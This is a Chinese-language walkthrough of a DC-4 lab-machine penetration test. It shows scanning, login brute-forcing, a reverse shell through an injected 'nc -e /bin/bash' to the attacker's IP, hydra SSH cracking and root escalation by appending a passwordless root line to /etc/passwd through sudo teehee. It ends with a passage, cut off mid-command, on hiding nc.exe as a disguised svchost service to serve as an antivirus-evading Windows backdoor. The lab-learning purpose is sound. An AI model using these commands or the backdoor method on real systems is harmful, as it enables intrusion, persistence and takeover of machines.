DC-4 靶机渗透测试
DC-4 渗透测试
冲冲冲,努力学习 。掌握 hydra ,nc反弹shell
记住你要干嘛, 找地方上传shell(大多以后台登录为切入点,再反弹shell),shell提权到root
操作机:kali 172.66.66.129
靶机:DC-4 172.66.66.134
网络模式:NAT
信息收集
基于ARP的网络扫描工具netdiscover
ARP是将IP地址转化物理地址的网络协议。
通过该协议,可以判断某个IP地址是否被使用,从而发现网络中存活的主机。
使用很简单(扫描本地网络):
netdiscover -r 172.66.66.0/24 //使用本机IP段
netdiscover -r 172.66.66.0/24
扫描一下
nmap -sV -A -p- 172.66.66.134 -oN /tmp/DC-4.nmap
养成好习惯,把扫描结果保存下来
-A :探测操作系统
-sV :探测版本
-p- :探测0~65535端口开放情况
开了22 、80端口
dirb http://172.66.66.134
dirb 后台扫描器,类似 windows下的御剑后台扫描器。
后台没啥有价值的发现,访问80,是个admin登录框,盲猜账号admin,考虑万能密码、爆破,
bp简单爆破一下得到 admin:happy
登录,
谨记我们的任务:拿到shell,再提权到root
登录后台发现可以执行命令,然后呢?
查看源码,猜想radio的value是否可以篡改?点击run的时候submit一个反弹shell过去?抓个包测一下
仿佛看到了希望:改一下radio为nc -e /bin/bash 172.66.66.129 7777
nc -e /bin/bash localhost 端口
nc 的
-e
选项是绑定cmd或者bash
但是原理是什么呢?它怎么实现绑定的?另一个问题,为什么要绑定shell?意义何在?放在末尾回答这个问题(主要是为了留后门)
知乎看到的答案,看不懂就先放着吧
等哪天我回过头来翻笔记的时候,希望我能解决我今天的疑问
由于不确定服务器上的nc时候有-e选项,不过不成功的话就来个替代方案
nc 172.66.66.129 777 |/bin/bash| nc 172.66.66.129 8888
操作机打开俩中端分别监听 7777 8888
shell 反弹回来了。有没有发现,这不是交互的shell,那就整一个交互的出来,
python -c 'import pty;pty.spawn("/bin/bash")'
什么才是交互的?简单的理解是:输入与输出都重定向到了所得到的shell里,可以在命令模式输入命令,可以变量赋值... 那又是什么决定了最后的shell交互式与否?
得到一个陌生shell环境,要干嘛?收集信息。
echo $0、cat /etc/passwd | grep /bin/bash、cat /etc/issue、uname -a、python、php、vim、find / -perm -4000 -type f 2>/dev/null、echo $PATH、cd /home ......
留意一下上面这几个可登录的账号 charles、jim、sam
,下面是操作系统和版本号
cd /home 下,只有jim里有个 backups的目录,test.sh的权限跟mbox的权限,反差太大了吧,看一眼test.sh
在backups里看到了个old-passwords.bak
还记得开了22端口和前面passwd文件里的可登录账号吗?后台的admin账号我们已经登录上去了,显然这是ssh的登录账号密码?不要在shell里操作靶机写如文件,不要这样做,不要这样做,账号保存到/tmp/users.txt
里,密码另存一下放到 /tmp/passwd.txt
操作机写好,开个python服务器传上去。
cd 到文件目录下再执行
hydra -L users.txt -P passwd.txt ssh://172.66.66.134 -t 5 -vV
爆破结果:jim:jibril04
(登录之后不忘看看基本信息 如sudo -l
等)
登录提示 you have mail
linux 的邮件一般放在这个路径 var/mail 或者 /var/spool/mail(软连接)
cat 一下看看内容
得到:charles:^xHhA&hvim0y
切换账号
root权限免密码使用teehee ,teehee会用吗?滚去学teehee -a /etc/passwd
当发现有最追加写入文件功能的时候,直接往 /etc/passwd 里加个root用户
passwd的格式:[⽤户名]:[密码]:[UID]:[GID]:[⾝份描述]:[主⽬录]:[登录shell]
echo "axb::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
(不设置密码就是免密码登录了吗?shadow文件没有写入相关信息)
提权到root
收获:
- hydra 会用吗?不会 😃......滚回去学 (:_😃
- 我学完回来了.... -_-
- 不要尝试在目标机上编写文件,自己本地写好,传上去,nc传,python 简单服务器传,都行,就是不要在目标机上写,vi vim退不出来,把shell整没了就裂开。
- kali 里一个神奇的目录:
/usr/share/wordlists
里面有个各种各样的字典,很多工具的字典都软连接到了里面。进去多用| grep
筛选一下自己想要的内容。- 如果有root权限,能写入文件的话,考虑在 /etc/passwd 下加一个root账号,直接登录就可以了。
- teehee提权?这命令啥东西? 注意一个用法, echo 内容 | 写入目标文件 ,多用管道符。
hydra
-R 根据上一次进度继续破解
-S 使用SSL协议连接
-s 指定端口
-l 指定用户名
-L 指定用户名字典(文件)
-p 指定密码破解
-P 指定密码字典(文件)
-e 空密码探测和指定用户密码探测(ns)
-C 用户名可以用:分割(username:password)可以代替-l username -p password
-o 输出文件
-t 指定多线程数量,默认为16个线程
-vV 显示详细过程
server 目标IP
service 指定服务名(telnet ftp pop3 mssql mysql ssh ssh2......)
nc制作简单后门
首先请准备好不被杀的nc.exe(随便加个壳就可以了的),还有sc.exe(这个是操作服务的一个小工具,被人称为操作服务的军刀),这些就可以打造我们自己的后门了,后门的要求我想不需要很强的操作功能,只需要当我们连接的时候获得一个system权限的shell就可以了,有了cmdshell做什么不可以呢。如果你需要反弹的后门,也可以做到,自己注册个域名就可以用nc反弹了,因为比较复杂这里就不说了。我们知道nc就是实现我们的后门功能的最经典的工具,我们来看看nc的帮助,命令行下输入nc -h就可以看到,我们主要用到的几个参数如下:
-e 绑定一个程序并且连接时执行
-l 监听模式
-p 指定nc要运行的本地端口
-L 增强了的监听模式,当连接断开时再次监听
至于其他的用法相信各位已经很了解了的,我们以前经常用到的是
nc -l -e cmd.exe -p 8888 \监听8888端口,当有连接时重定向到cmd.exe实现绑定一个shell\
这样的形式用serveru等溢出程序执行后来绑定一个可以得到shell的端口8888,我们telnet或者nc连接上来的时候就可以直接获得一个shell。但是这样连接断开之后监听的端口就会关闭,是一次性的,不能再次获得shell,这样当然不适合于做后门了。后来发现nc的这个参数L可以一直保持监听的状态,可以反复连接。用
nc -L -e cmd.exe -p 8888 \也是绑定的,不过加强了的\
这样的命令就已经达到我们的目的了,但是我们往往是在溢出的shell里工作,留后门是为了以后的进入,那我们如何保证nc再机器重起之后还可以工作从而实现我们的后门的目的呢?你可以把他放到注册表的Run等启动项下面,但是感觉那样不是太好,有些地方已经被杀毒软件盯上了,把我的后门放到那里实在不是很放心,后来想到干脆作成服务吧!随着系统启动而启动,呵呵。那就看看如何打造服务吧!
首先我们将nc.exe放到%systemroot%\system32下面,起名叫svch0st.exe或者放到%systemroot%\system下面更名叫svchost.exe,这样的目的是为了在任务管理器里看不出异样。然后用sc替换系统的服务,不用改别的,只要修改他的执行路径就可以了,我们就改那个clipsrv.exe服务吧!命令如下:
sc config clipsrv start= auto \将clipsrv.exe服务设置为自动\
sc config cli